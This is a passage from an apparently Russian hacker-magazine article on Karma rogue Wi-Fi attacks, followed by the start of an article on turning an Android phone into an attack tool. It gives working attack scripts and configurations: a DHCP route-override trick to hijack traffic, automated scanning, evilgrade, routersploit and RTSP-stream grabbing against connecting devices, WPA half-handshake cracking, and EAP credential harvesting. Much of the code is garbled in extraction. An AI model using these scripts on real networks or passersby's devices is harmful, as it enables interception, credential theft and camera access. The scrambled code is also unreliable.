в этом слу чае. Да и самое инте рес ное начина ется пос ле под клю чения кли- 
ента. Но обо всем по поряд ку.

Karma-OPN
Ата ка Karma через откры тые сети поз воля ет получить сетевой канал вза имо- 
дей ствия с кли ентом. А учи тывая, что ата кующий в отно шении кли ента
находит ся в позиции шлю за, то есть он пересы лает тра фик кли ента, на него
могут быть нап равле ны мно гочис ленные ата ки — от прос тых сетевых
до MITM. Так же в момент под клю чения кли ента с помощью осо бых нас тро ек
сети, задава емых пос редс твом DHCP, ста новит ся воз можным зас тавить кли- 
ент пус тить сетевой тра фик дру гих интерфей сов через ата кующе го, дос тигая
эффекта сверх-MITM. Теперь нем ного под робнее.

Attack OPN → Overlap
Час то под клю чаемые к откры той сети устрой ства будут либо с нес конфи гури- 
рован ными нас трой ками, либо с уже истекшим сро ком арен ды IP-адре са.
Как извес тно, дефол тным для сетевых интерфей сов явля ется зап рос нас тро- 
ек по DHCP. Тот факт, что кли ент ское устрой ство поп росит у нас парамет ры
нашей сети, поз воля ет при менить дос таточ но хит рый и опас ный при ем.
Вмес то стан дар тной мас ки  (default, на все адре са) мы можем
выразить то же самое через две мас ки , которые

в совокуп ности обра зуют тот же дефол тный мар шрут:

0.0.0.0/0
0.0.0.0/1 + 128.0.0.0/1

0.0.0.0/0 via 10.10.0.
1 <- исходный дефолтный маршрут, все пакеты изначально идут по нему 
0.0.0.0/1 via 1.0.0.1 <- новый маршрут, перекрывающий первые 50% 
IPv4-сетей 
128.0.0.0/1 via 1.0.0.1 <- второй маршрут, перекрывающий вторые 50% 
IPv4-сетей (маска короче, и такие маршруты окажутся приоритетнее)

Те перь наш бес про вод ной интерфейс ста нет дефол тным для дос тупа
к любым IPv4-адре сам. Одна ко то, что мы задали его через две, чуть более
корот кие мас ки сети, сде лает наши мар шру ты при ори тет нее стан дар тно го 

, пос коль ку сети с более корот кими мас ками всег да пред почти тель- 

нее. И поэто му, если у под клю чив шегося к нам кли ента уже имел ся сетевой
интерфейс, нап ример про вод ной, его тра фик ока жет ся перетя нут на нас.
Таким обра зом мы смо жем перех ватить тра фик любого смеж ного интерфей- 
са.

0.
0.0.0/0

На самом деле такое поведе ние, помимо «сверх-MITM-эффекта», име ет
опас ное, но пред ска зуемое пос ледс твие — устрой ство может стать недос- 
тупным из дру гих сетей. Мож но пред ста вить себе дос таточ но веро ятный сце- 
нарий: вклю чение Karma и мас совое под клю чение к нему IP-камер. Пос ле
перек рытия мар шру тов, под клю чен ные по про воду к пуль ту виде онаб- 
людения, они могут стать недос тупны ми.

В ито ге, исполь зуя трюк с мар шру тами, мы можем:
пе рех ватить тра фик смеж ных сетевых интерфей сов;•
при вес ти к сетево му отка зу в обслу жива нии.•

Attack OPN → MITM
Не важ но, есть ли у кли ент ско го устрой ства дру гие сетевые интерфей сы
и были ли они перек рыты, с DHCP мы в любом слу чае ста нем для кли ента
шлю зом. Это зна чит, что тра фик жер твы в сто рону интерне та пой дет через
нас. Находясь в позиции легаль ного MITM, ата кующий может попытать ся вме- 
шать ся в SSL-тра фик, про читать или под менить незашиф рован ный тра фик
или дать сиг нал обновле ния и внед рить бэк дор.

Attack OPN → äîñòóï ê ñåòè
На конец, меж ду ата кующим и жер твой обра зует ся обыч ный сетевой канал,
который может быть исполь зован для запус ка про изволь ных атак уров ня при- 
ложе ний. Начиная от уяз вимос тей в ПО и ОС, закан чивая под бором паролей
и пос леду ющей ком про мета цией устрой ства.

Клю чевой момент для ата кующе го в том, что он заранее не зна ет тип
устрой ства, которое к нему под клю чит ся. Это соз дает опре делен ные слож- 
ности. В час тнос ти, нуж но быть готовым ата ковать любое устрой ство, при том
сде лать это нуж но быс тро, так что без авто мати зации тут будет слож но.

Итак, если ата кующе му удас тся под клю чить к себе чей-то ноут бук, он
может начать под бирать к нему пароль или про экс плу ати ровать уяз вимость
и получить дос туп в сис тему.

Ес ли это смар тфон, то, под клю чив шись, он нач нет переда вать через ата- 
кующе го кучу кон фиден циаль ной информа ции. Не сто ит забывать, что сот ни
мобиль ных при ложе ний, которые уста нов лены на телефо нах на все слу чаи
жиз ни, впол не спо соб ны что-то тран сли ровать в незащи щен ном виде. Они
могут некор рек тно про верять SSL-сер тификат или быть под вержен ными про- 
изволь ному исполне нию кода при под делке тра фика.

Ес ли нам попадет ся прин тер, под клю чен ный про водом к кор поратив ной сети,
то и он может пересы лать через себя тра фик. Таким обра зом, бес про вод ной
прин тер в худ шем из сце нари ев ста нет для зло умыш ленни ка шлю зом во внут- 
реннюю сеть ком пании.

На конец, таким обра зом могут под клю чать ся и IP-камеры. В этом слу чае
как минимум воз можен дос туп к самому устрой ству и к его виде оин форма- 
ции. Как мак симум — IP-камеры могут быть впос ледс твии взло маны и стать
точ кой про ник новения, ведь, как извес тно, это далеко не самые защищен ные
устрой ства. Тем более IP-камеры час то рас полага ются в физичес ких гра- 
ницах перимет ра, отку да до них мож но дотянуть ся пря мо с ули цы.

Мы видим, что раз нооб разные кли ент ские устрой ства Wi-Fi вок руг нас
на корот кое вре мя могут под клю чать ся к некото рым бес про вод ным сетям
и зло умыш ленник впол не в сос тоянии их ата ковать.

Продолжение статьи →
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Вре мя перей ти к экс плу ата ции. Сле дующий скрипт выпол няет авто мати чес- 
кую ата ку на кли ент ские устрой ства в окру ге через откры тые бес про вод ные
сети:

wifi/roque_ap/karma/attack-opn.sh
#/bin/bash

  1     [[ $# -ge ]] && essid="$1" || essid='test'
OPN='wlan1'

cp  /opt/hostapd-mana/hostapd/hostapd.conf /tmp/hostapd-mana.conf 
  sed -i "s/interface=.*/interface=$OPN/g" /tmp/hostapd-mana.conf 
  sed -i "s/ssid=.*/ssid=$essid/g" /tmp/hostapd-mana.conf 

cp dnsmasq-attack.conf /tmp/dnsmasq-attack.conf 
  sed -i "s/interface=.*/interface=$OPN/g" /tmp/dnsmasq-attack.conf 

 up sudo ifconfig $OPN
  OPN tmux new-session -d -s karma -n 'sudo /opt/hostapd-mana/hostapd/

hostapd /tmp/hostapd-mana.conf'
sudo ip a add 11.0.0.1/24 dev $OPN

1 sleep 
  

 5
table=$(ip r show table all|grep $OPN|grep '::'|head -n 1|cut -d ' '
-f )

 sudo ip r add 11.0.0.0/24 dev $OPN table $table #97
sudo ip rule add to 11.0.0.0/24 lookup $table

  OPN tmux split-window -v -t 'sudo dnsmasq --conf-file=/tmp/
dnsmasq-attack.conf -d'

  OPN tmux split-window -v -t "./attack.sh $OPN"
tmux a -t karma 

В скрип те выпол няет ся запуск трех ком понен тов ата ки, раз делен ных на три
области:
1. Точ ка дос тупа hostapd-mana, отве чающая всем кли ентам.
2. DHCP-сер вер, раз дающий нас трой ки сети под клю чаемым кли ентам.
3. Ата кующий дви жок, запус кающий ата ки.

За пуск hostapd-mana не тре бует пред варитель ной нас трой ки. Кон фигура ция
сети для DHCP может быть, нап ример, такой:

wifi/roque_ap/karma/dnsmasq-attack.conf
domain=fake.net
interface=wlan1
dhcp-range=11.0.0.100,11.0.0.200,1h
dhcp-option=1,255.255.255.0
dhcp-option=3,11.0.0.1
dhcp-option=6,8.8.8.8,8.8.4.4
dhcp-option=121,0.0.0.0/1,11.0.0.1,128.0.0.0/1,11.0.0.1
dhcp-option=249,0.0.0.0/1,11.0.0.1,128.0.0.0/1,11.0.0.1

Имен но тут и исполь зует ся трюк с перек рыти ем мар шру тов. Он поз воля ет
изме нить нас трой ки мар шру тиза ции, выс тавив бес про вод ное под клю чение
более при ори тет ным, и нап равить тра фик дру гих сетевых интерфей сов
устрой ства жер твы на ата кующе го. Это поз волит как перех ватить допол- 
нитель ные дан ные, так и выз вать отказ в обслу жива нии из-за недос тупнос ти
на дру гих сетевых интерфей сах.

Ата кующий дви жок, реаги рующий на новые кли енты и запус кающий на них
про изволь ные ата ки, реали зован в сле дующем скрип те:

wifi/roque_ap/karma/attack.sh
#!/bin/bash

GREEN=$'\x1b[32m'
RESET=$'\x1b[39m'
IFACE='wlan1'

#~/gui.sh
rm /tmp/karma_attacks.txt 2> /dev/null 

  f  +xfor script in $(find on_network/ -type -perm -u )
do

    exec sudo $script $IFACE "" & 
done

1 while sleep 
do

arp  |    | 
ip 

 -an sed -rn "s/\? \(([^\)]+)\) .*\[ether\] on $IFACE/\1/p"
while read 
 do

   
   

   egrep -q "^$ip$" /tmp/karma_attacks.txt 2> /dev/null && continue
|| echo "$ip" >> /tmp/karma_attacks.txt 
      echo $GREEN "client detected $ip" $RESET
     f  +xfor script in $(find on_client/ -type -perm -u )
   do

        exec $script $ip "" 11.0.0.1 & 
   done
 done
done

Важ но, что ата кующий не прос то мол ча под клю чает к себе кли енты по Wi-Fi,
а еще и авто мати чес ки выпол няет раз личные ата ки. Пос коль ку устрой ства
под клю чают ся и отклю чают ся дос таточ но быс тро, то без авто мати зации тут
никак не обой тись.

С помощью Karma хакер может ата ковать вооб ще любую тех нику, даже
авто ном ную, такую как IP-камеры. Одна ко заранее он не зна ет, какое устрой- 
ство к нему под клю чит ся, и поэто му спектр воз можных атак дол жен быть мак- 
сималь но широким.

Karma-OPN по экс плу ата ции очень похожа на бес про вод ной ана лог
BadUSB-eth. И в допол нение к тому, что , а имен но: к ата- 
кам на NetBIOS, при водя щим к утеч кам хешей ( ),
отравле нию веб-кеша и выкачи ванию Cookies ( ),

а так же под мене сер тифика та и вме шатель ству в зашиф рован ный HTTPS-
тра фик ( ), мож но сде лать еще мно гое. Нап ример,

акти виро вать ата ки на небезо пас ные обновле ния с помощью evilgrade:

бы ло опи сано ранее
on_network/responder.sh
on_network/poisontap.sh

on_network/sslsplit.sh

on_network/evilgrade.sh
#!/bin/bash

 echo '[*] running insecure updates MiTM attacks'

  nat   | 53     
 

[[ $(iptables -t -vnL PREROUTING | grep "$1" grep ) = '' ]] &
& {

 nat    udp  53 
 53 

   iptables -t -A PREROUTING -i "$1" -p --dport -j 
REDIRECT --to-ports
}

  nat   | 80     
 

[[ $(iptables -t -vnL PREROUTING | grep "$1" grep ) = '' ]] &
& {

 nat    tcp  80 
 80 

   iptables -t -A PREROUTING -i "$1" -p --dport -j 
REDIRECT --to-ports
}

 screen -dmS evilgrade bash -c 'echo start | sudo evilgrade'

Да же сегод ня сущес тву ет немало популяр ных при ложе ний, обновля ющих ся
по не защищен ному от под мены про токо лу HTTP. В слу чае со смар тфо нами
так же не сто ит забывать про уяз вимос ти мобиль ных при ложе ний. Не будет
лиш ним ата кующе му выпол нить прос тое ска ниро вание пор тов для каж дого
под клю чив шегося устрой ства:

on_client/scan.sh
#!/bin/bash

 echo '[*] scanning common ports'
 +time=$(date '%H:%M:%S_%d.%m.%Y')

nmap     -Pn -n $1 -oN "nmap-$1_$time.txt"

От кры тые пор ты поз воля ют опоз нать тип под клю чаемо го устрой ства.
Не исклю чено, что под соеди нив ший ся девайс может пересы лать через себя
тра фик. Тог да через него ата кующий может про ник нуть в дру гую сеть, воз- 
можно кор поратив ную:

on_client/ip_forwarding.sh
#!/bin/bash

 echo '[*] checking IP forwarding'

nmap    
 

-sn -n $1 --script ip-forwarding --script-args="ip-forwarding.
target=$3" > /tmp/ip_forwarding.log 

 auto grep 'ip forwarding enabled' /tmp/ip_forwarding.log --color=

Так как раз нооб разные устрой ства IoT под верже ны ата ке Karma, то ата кующе- 
му име ет смысл под клю чить и про вер ку спе цифич ных уяз вимос тей:

on_client/routersploit.sh
#!/bin/bash

2 WAIT=
PORTS=(80 8080 443)

port  for in ${PORTS[*]}
do

nc        if -nw $WAIT $1 $port < /dev/null 2> /dev/null; then
        echo '[*] running Routersploit attacks'

          rsf.py -m 'scanners/cameras/camera_scan' -s "target $1" 2> /
dev/null 
       break
   fi
done

Ес ли на под клю чив шей ся IP-камере откры ты веб-пор ты, то с помощью
routersploit мож но задетек тить потен циаль ную RCE или иную уяз вимость.
На IP-камере так же получит ся про верить воз можность ано ним ного под клю- 
чения к ее виде опо току:

on_client/rtsp.sh
#!/bin/bash

2 WAIT=
554 DPORT=

nc      if -nw $WAIT -c $1 $DPORT < /dev/null 2> /dev/null; then
    echo '[*] RTSP streaming'

   554     nmap -Pn -n -p --script rtsp-url-brute $1 -oX /tmp/rtsp.xml >
/dev/null 2>&1 
    

  1
url=$(cat /tmp/rtsp.xml | xmllint --xpath '//table[

@key="discovered"]/elem/text()' - 2>/dev/null | head -n )
        if [ -n "$url" ]; then

        echo "[*] $url"
       #timeout 2 cvlc "$url" --sout=file/ts:/tmp/"$1.mpg" #> /dev/
null 2>&1

   1          ffmpeg -i "$url" -vframes -y "/tmp/$1.jpg" > /dev/null 
   fi

        if [ -s "/tmp/$1.jpg" ]; then
         cp "/tmp/$1.jpg" "$1.jpg"

   .jpg       echo "[+] $(ls -lh $1 )"
   fi
fi

IP-камеры, даже при наличии защищен ной паролем веб-админки, иног да
поз воля ют под клю чать ся к стри му по RTSP без аутен тифика ции. А со смар- 
тфо ном ата кующий край не под вижен и может видеть резуль таты атак в реаль- 
ном вре мени. В сле дующем при мере откры тая точ ка дос тупа пыта ется под- 
клю чить к себе все бес про вод ные устрой ства вок руг (пер вая треть экра на).
Те из них, что иска ли имен но откры тую сеть, под клю чают ся и получа ют
сетевые нас трой ки по DHCP (вто рая треть экра на). Наконец ата кующий
скрипт (пос ледняя треть экра на) запус кает раз нооб разные сце нарии, и мож- 
но видеть, как (судя по резуль татам ска ниро вания пор тов) к телефо ну под- 
клю чилась IP-камера.

В спис ке откры тых пор тов виден 554/TCP, с которо го иног да мож но получить
виде опо ток без аутен тифика ции.

Karma-WPA
Ата ка Karma не закан чива ется откры тыми сетями, ее мож но при менить и к
зак рытым.

В статье «
» мы деталь но рас смот рели механизм про вер ки обще го клю ча,

тре бующий все го двух пакетов: EAPOL M1 и M2 (half-handshake). Пароль
в M2-сооб щении отправ ляет кли ент, а это зна чит, что мы можем узнать
пароль от сети, которую он запом нил, без наличия точ ки дос тупа.

Брут на ходу. Ата куем бес про вод ные сети прос тым и эффектив- 
ным спо собом

Так как ата кующий изна чаль но не зна ет пароля, с которым к нему хочет
под клю чить ся кли ент, то рас шифро вывать тра фик от кли ента не получит ся.
Рав но как не получит ся орга низо вать сетевое вза имо дей ствие и ата ковать
кли ент. Зато кли енты будут отправ лять пол ноцен ные half-handshake от извес- 
тных им сетей, из которых методом брут форса мож но вос ста новить пароли:

wifi/roque_ap/karma/attack-wpa.sh
#!/bin/bash

  WPA tmux new-session -d -s karma -n 'sudo hcxdumptool -i mon0 
--enable_status=15 -o $dumpfile.pcapng --passive 
--disable_ap_attacks'

  WPA tmux split-window -v -t './brute_half.sh'
tmux a -t karma 

Пер вый ком понент — это , который на все probe-зап росы отве- 

чает соот ветс тву ющим probe-отве том, а так же посыла ет пакет EAPOL M1,
что бы кли ент отправ лял в ответ M2-пакет с handshake. Сто ит заметить, что
реаль но точ ка дос тупа тут не соз дает ся, — вся работа с пакета ми Wi-Fi про- 
исхо дит в сыром режиме и тре бует на сетевой кар те ата кующе го вклю чен ный
режим монито ра.

hcxdumptool

Вто рой ком понент выпол няет брут форс — ведь при нятые half-handshake
содер жат все необ ходимое для вос ста нов ления пароля кли ента:

wifi/roque_ap/karma/brute_half.sh
#!/bin/bash

   tcpdump -r $dumpfile.pcapng -nn -w $dumpfile.pcap 
  ok aircrack-ng -w /opt/wordlists/top100k.txt "$dumpfile.pcap" && read 

 rm $dumpfile.pcap 

Вы ходит, что бы подоб рать пароль к бес про вод ной сети, точ ка дос тупа
не нуж на. В при веден ном ниже при мере ими тиру ются зап рашива емые WPA-
сети. Резуль татом ста ла попыт ка под клю чения ата кован ного смар тфо на,
который, отпра вив WPA half-handshake (EAPOL M1 + M2), попытал ся аутен- 
тифици ровать ся с сох ранен ным паролем. Пароль был успешно подоб ран.

С исполь зовани ем подоб ранно го пароля была запуще на уже пол ноцен ная
точ ка дос тупа WPA (воз можно, как у домаш ней или гос тевой сети Wi-Fi) и ини- 
цииро ван при ем тра фика с мобиль ного телефо на жер твы. С ата кой Karma,
которая поз воля ет под клю чать к себе кли енты, в час тнос ти смар тфо ны про- 
хожих, ста новит ся воз можным то, что показа но в игре Watch Dogs.

На самом деле взло мать смар тфон за секун ды впол не веро ятно, толь ко
это тре бует от ата кующе го раз добыть зак рытый ключ к любому кор невому
сер тифика ту и вскрыть им HTTPS-тра фик. Тог да под клю чен ное устрой ство
жер твы получа ет модифи циро ван ный тра фик от Play Market, где, как извес тно,
мож но ини цииро вать уда лен ную уста нов ку при ложе ния. В качес тве такого
при ложе ния может исполь зовать ся тро ян с пос леду ющим вытяги вани ем дан- 
ных из уста нов ленных мобиль ных бан ков ских кли ентов. Сло вом, всё как в
игре.

Karma-EAP
Enterprise-стан дарт бес про вод ных сетей, приз ванный быть более про думан- 
ным в пла не безопас ности, на деле порою ока зыва ется уяз вимее сосед ско го
Wi-Fi. Чрез вычай ная ковар ность ата ки Karma-EAP зак люча ется в том, что
выпол нена она может быть где угод но, даже вне объ екта дей ствия легитим- 
ной сети.

Для про веде ния ата ки на WPA-Enterprise необ ходим запуск сети с нуж ным
име нем. Сло вом, ата кующе му тре бует ся знать имя сети, что воз можно далеко
не всег да, ведь сети быва ют еще и скры тыми.

Ата ка Karma как раз поз воля ет узна вать име на таких сетей. Поэто му ата- 
кующий может на каж дый probe-зап рос отве чать соот ветс тву ющим probe-
отве том, ука зывая, что такая сеть при сутс тву ет. Пос ле чего он может при- 
нимать под клю чения кли ент ских устрой ств, пред лагая им прой ти аутен- 
тифика цию по небезо пас ным про токо лам GTC или MSCHAP. В слу чае если
кли ент в сво их probe-зап росах ищет имен но сеть WPA-Enterprise, то он ее
получит, а ата кующий получит его учет ные дан ные.

wifi/roque_ap/karma/attack-eap.sh
#/bin/bash

EAP='wlan1'

 up sudo ifconfig $EAP
cp hostapd-eaphammer-karma.conf /tmp/hostapd-eaphammer.conf 

  sed -i "s/interface=.*/interface=$EAP/g" /tmp/hostapd-eaphammer.conf 
sudo /opt/eaphammer/local/hostapd-eaphammer/hostapd/hostapd-
eaphammer -x /tmp/hostapd-eaphammer.conf 

Кон фигура цион ный файл может быть взят из катало га 

. Для ата ки Karma он дол жен,

помимо про чего, содер жать одну или две дирек тивы:

eaphammer/local/
hostapd-eaphammer/hostapd/hostapd.conf

hostapd-eaphammer-karma.conf
…
use_karma=1 # for probe-response
loud_karma=1 # for beacons
…

Ос нован ный на , модифи циро ван ный  уме- 

ет, подоб но , отве чать кли ентам probe-отве тами и beacon

с зап рашива емы ми име нами сетей. Это ведет к тому, что кли енты начина ют
вос при нимать бес про вод ную сеть ата кующе го как ту, которую они зна ют и к
которой уже под клю чались. На иллюс тра ции ниже показа на авто мати чес кая
отправ ка учет ных дан ных кли ент ским устрой ством на смар тфон ата кующе го,
ког да ата кующий не зна ет име ни сети.

hostapd-wpe hostapd-eaphammer
hostapd-mana

Сколь ко сетей может быть ата кова но подоб ным обра зом? Ведь что бы кли- 
ент ское устрой ство, лежащее в кар мане или сум ке про хоже го, под клю чилось
к ата кующе му, не нуж но знать имя бес про вод ной сети. Зло умыш ленни ку надо
лишь ока зать ся в мес тах боль шого скоп ления людей, где он впол не может
раз добыть домен ные учет ные записи любых ком паний — от мел ких до круп- 
ных. При этом факт ата ки — источник утеч ки учет ных дан ных — невоз можно
выявить, ведь под став ляет жер тву в дан ном слу чае не точ ка дос тупа, а кли ент.

ÂÛÂÎÄÛ

Ата ка Karma мак сималь но под вижная, так как нап равле на на кли енты,
которые тоже сами по себе под вижны. Успешность экс плу ата ции гаран- 
тирова на далеко не всег да. Для это го тре бует ся мак сималь ное количес тво
кли ентов, рас пре делен ных по пло щади. И нес мотря на реали зацию мно жес- 
тва авто мати чес ких про верок, воз можно, ата кующе му не помеша ет допол- 
нитель ный инте рак тив с под клю чив шимся устрой ством. Пер вые попыт ки атак
Karma, с целью хотя бы иден тифика ции под клю чаемых устрой ств и про вер ки
самых три виаль ных уяз вимос тей, могут быть выпол нены с помощью смар тфо- 
на. Поз днее для устой чивого вза имо дей ствия с под вержен ным ата ке устрой- 
ством, нап ример IP-камерой над забором защищен ного объ екта, может быть
исполь зован . Незамет но лежащий
непода леку от целей девайс поз воля ет ата кующе му уда лен но раз вивать
более дли тель ные и слож ные ата ки уже через него:

4G VPN-канал до Pineapple-устрой ства

Íà ñòî ðîíå Pineapple:
1 sysctl -w net.ipv4.ip_forward=

 nat iptables -t -A POSTROUTING -o wlan0 -j MASQUERADE 

Íà ñòî ðîíå àòà êóþùå ãî:
route add -host target_ip gw pineapple 

Сей час слож но пред ста вить, сколь ко устрой ств реаль но могут иметь на бор ту
Wi-Fi. Встра иваемая элек тро ника час то базиру ется на край не популяр ных
ARM-про цес сорах, которые пред став ляют собой сис тему на крис талле, сра зу
имея внут ри себя и Wi-Fi, и кучу все го осталь ного. Про ще внед рить такой рас- 
тиражи рован ный сот нями тысяч дешевый чип в устрой ство, чем про изво дить
его каж дый раз отдель но под каж дую задачу.

Мно жес тво устрой ств вок руг нас может быть снаб жено модулем Wi-Fi:
телефо ны, что в кар мане у каж дого, IP-камеры, что висят пов сюду, и, наконец,
ноут буки в сосед них ком натах, и даже ком понен ты умно го дома. Такие
устрой ства с Wi-Fi на бор ту не посыла ют ничего в эфир, прос то тихо ожи дают
появ ления бес про вод ной сети с нуж ным име нем.

Ата ка Karma не осно вана на какой-то кон крет ной уяз вимос ти. Она исполь- 
зует лишь общепри нятые осо бен ности поведе ния кли ент ских устрой ств,
таких как авто мати чес кое под клю чение. Поэто му защитить ся от этой ата ки
впол не логич но мож но через зап рет авто под клю чения. Слож но кон тро лиру- 
емая и дос таточ но неоче вид ная ата ка дела ет Karma акту аль ной еще на мно- 
гие годы впе ред, нес мотря на то что известен этот вид атак уже два десяти- 
летия.

https://xakep.ru/2023/02/22/badusb-eth/
https://xakep.ru/2023/05/12/wifi-bruteforce/
https://xakep.ru/2023/04/18/diy-pineapple/
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С точ ки зре ния хакера, мобиль ный
телефон — удоб ней шее средс тво
для компь ютер ных атак, осо бен но атак око- 
лофи зичес кого дос тупа, которые выпол- 
няют ся по ради ока налу. В этой статье мы
погово рим о том, как прев ратить обыч ный
мобиль ник на Android в могучее ору жие
хакера.

INFO

Эта статья — часть серии пуб ликаций о прак- 
тичес ких при емах взло ма и атак с исполь зовани- 
ем под ручных устрой ств, которые мож но соб рать
дома. В этих матери алах мы рас кры ваем прос тые
спо собы получе ния несан кци они рован ного дос-
тупа к защищен ной информа ции и показы ваем,
как ее огра дить от подоб ных атак. Пре дыду щая
статья серии: «

».
KARMAгед дон. Ата куем кли ент- 

ские устрой ства с помощью Karma

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Сей час у каж дого есть телефон, зачас тую даже не один. Так что зло умыш- 
ленник с мобиль ником выг лядит куда менее подоз ритель но, чем с ноут буком.
Более того, телефон час то раз реша ют про носить туда, где ноут буки зап- 
рещены. Телефо ны ред ко рас смат рива ются как источник угро зы.

У телефо на нас толь ко боль шой потен циал, что с его помощью мож но
реали зовать прак тичес ки любые физичес кие ата ки. Нес мотря на то что он
работа ет на мобиль ном про цес соре (ARM), на нем мож но запус тить поч ти
любой дес ктоп ный софт. Все бла года ря тому, что Linux — это open source.
Все мно гооб разие ПО под него уже дав но кросс-ском пилиро вано и пор- 
тирова но под мно жес тво дру гих архи тек тур, вклю чая и ARM, да еще и в фор- 
ме удоб ных пакетов.

Те перь пред лагаю взгля нуть на телефон гла зами хакера. Сколь ко атак
мож но про вес ти с его помощью? Все ата ки, что 

, мож но реали зовать и с телефо на. Более того, перечень таких
атак куда шире. Мож но выделить клю чевое отли чие телефо на от Pineapple
или любого одноплат ника — наличие устрой ств вво да-вывода информа ции.
Пос коль ку у телефо на есть экран и кла виату ра, ата кующий может про водить
инте рак тивные ата ки. То есть он в сос тоянии сов мещать авто мати зацию
типовых дей ствий и руч ной ввод допол нитель ных команд, бла года ря чему
ата ки ста новят ся более тар гетиро ван ными. Инте рак тивность — глав ное пре- 
иму щес тво телефо на перед авто ном ными устрой ства ми типа Pineapple.

про демонс три рова ны
на Pineapple

Ко неч но, это не зна чит, что ноут бук не годит ся для физичес ких и око лофи- 
зичес ких атак. Но вбли зи объ ектов, где мно го наб людате лей, охра ны и вез де
натыка ны камеры, зло умыш ленник с лег костью может заменить ноут бук
телефо ном.

Для про веде ния боль шинс тва атак с телефо на ата кующе му, как пра вило,
тре буют ся внеш ние адап теры и драй веры для них. Одна ко некото рые ата ки
мож но про вес ти и без допол нитель ных устрой ств, что сни жает слож ность
затеи. B ито ге хакер ский телефон впол не мож но исполь зовать для сле- 
дующих атак:

Wi-Fi (Deauth, Auth, Online brute, WPS, Evil Twin, EAP, Karma);•
Bluetooth;•
Whid (Mousejack);•
SDR (replay, GPS, DMR, TV);•
Ethernet (ата ки и сниф финг);•
BadUSB (HID, ETH, HDD);•
RFID/NFC;•
IrDA;•
QR.•

Да вай деталь но рас смот рим, чем может быть опа сен потен циаль ный зло- 
умыш ленник с телефо ном.

ÍÀÑÒÐÎÉÊÀ GNU-ÎÊÐÓÆÅÍÈß

Так уж исто ричес ки сло жилось, что боль шая часть хакер ско го соф та оби тает
в мире Unix. Конеч но, под Android тоже сущес тву ют ана логи, но край не
неразум но перепи сывать весь софт под оче ред ную плат форму. Куда про ще
и пра виль нее орга низо вать слой сов мести мос ти и пор тировать все это для
нуж ной сре ды. И бла года ря тому, что под капотом Android пря чет ся ядро
Linux, это дей стви тель но прос то.

Да лее про демонс три рован откры тый под ход, поз воля ющий сде лать
хакер ским прак тичес ки любой Android-телефон. Воп реки обще му мне нию,
что бы телефон стал хакер ским, необя затель но исполь зовать спе циали зиро- 
ван ную ОС вро де Kali NetHunter. Эти слег ка кас томизи рован ные вер сии
Android идут с ядром под соот ветс тву ющее железо, а зна чит, перечень под- 
держи ваемых устрой ств силь но огра ничен. Но что делать, если такого
мобиль ника нет в наличии? Ты можешь реали зовать все нуж ное самос- 
тоятель но: в этом слу чае пот ребу ется любой Android-телефон, который дол- 
жен соот ветс тво вать толь ко нес коль ким прос тым кри тери ям.

Во-пер вых (это самое глав ное), телефон дол жен иметь root-пра ва. Без них
боль шая часть атак не работа ет. Что бы получить пра ва root, заг рузчик
телефо на дол жен под держи вать раз бло киров ку. Тог да с его помощью мож но
переза писать recovery (неболь шая ОС для вос ста нов ления дан ных). А уже
затем мож но пол ноцен но изме нять фай лы основной ОС Android.

Во-вто рых, край не желатель но, что бы телефон имел ядро с под дер жкой
modprobe для заг рузки допол нитель ных драй веров и под дер жки внеш них
устрой ств. Час то modprobe может быть дос тупен даже на сто ковом ядре.
Но луч ше убе дить ся, что для тво ей модели мобиль ника сущес тву ют кас- 
томные ядра, уста нав лива ют которые тоже через recovery.

На самом деле хакеру вов се не нуж но собирать какое-то осо бен ное ядро,
заранее добав ляя в него все необ ходимое и каж дый раз часами пересо бирая
его. Нап ротив, бла года ря модуль нос ти ядра Linux мож но дособ рать любой
драй вер для любой желез ки пря мо на текущем ядре, да еще и не на точ ной
вер сии исходных кодов. И это куда про ще и безопас нее, ведь так не теря ется
набор фун кций сто ково го ядра и, ска жем, не отва лива ется камера.

Так же обя затель но необ ходим какой-нибудь тер минал, нап ример
популяр ный Termux. Termux весь ма удо бен, так как име ет встро енный менед- 
жер пакетов. Впро чем, мож но лег ко обой тись и без него. Пос коль ку хакеру
нуж но работать с тер миналом, удоб нее исполь зовать нас тоящую пол нораз- 
мерную кла виату ру, нап ример org.pocketworkstation.pckeyboard (Hackers
Keyboard).

На конец, вся хакер ская начин ка может быть пред став лена в фай ле-обра зе
Linux-дис три бути ва, который мож но исполь зовать в режиме обыч ного chroot.

Сна чала нем ного информа ции о соз дании chroot-окру жения — началь ной
фай ловой сис темы Linux-обра за. Фак тичес ки это база для хакер ско го прог- 
рам мно го инс тру мен тария на телефо не. Для это го на Linux-дес кто пе нуж но
под готовить файл (будущий образ), на нем соз дать фай ловую сис тему
и смон тировать ее:

 truncate -s 10G linux.img 
mkfs.ext4 linux.img 
mount -o loop linux.img /mnt/iso 

Те перь перед хакером чис тый лист, который необ ходимо напол нить сис- 
темны ми фай лами, то есть уста новить нас тоящий Linux. Сде лать это мож но
одной коман дой, нап ример :debootstrap

 sudo debootstrap --arch arm64 --foreign --variant=minbase \
stable /mnt/iso/ http://http.us.debian.org/debian 

Прог рамма  прос то ска чива ет минималь но необ ходимый набор

deb-пакетов (под ARM) и рас паковы вает исполня емые фай лы, биб лиоте ки
и кон фиги внут ри обра за, фор мируя пол ностью работос пособ ное Linux-окру- 
жение. В этом слу чае в качес тве базы исполь зует ся Debian, так как он име ет
край не богатую кол лекцию пакетов в сво их репози тори ях. В качес тве аль тер- 
нативы мож но исполь зовать, нап ример, Arch Linux с его хакер ским репози- 
тори ем BlackArch, содер жащим прак тичес ки весь необ ходимый ата кующий
софт. ОС Arch Linux ста вит ся похожим обра зом и раз ворачи вает ся from
scratch в ука зан ном катало ге.

debootstrap

За тем образ  копиру ется на телефон, и все даль нейшие дей- 

ствия выпол няют ся уже на нем.

linux.img

Лю бую сов ремен ную ОС мож но пред ста вить как совокуп ность user mode
и kernel mode, то есть поль зователь ские ком понен ты и ядро с драй верами.
Образ  содер жит толь ко ком понен ты поль зователь ско го режима,

но в Linux есть очень чет кая гра ница, поз воля ющая под клю чить сколь ко угод- 
но user space к ядру. Бла года ря кон цепции Unix «все есть файл» и спе циаль- 
ным фай ловым сис темам добав ление юзер спей сов дос тига ется мон тирова- 
нием нес коль ких сис темных катало гов:

linux.img

# Подключение Linux-диска
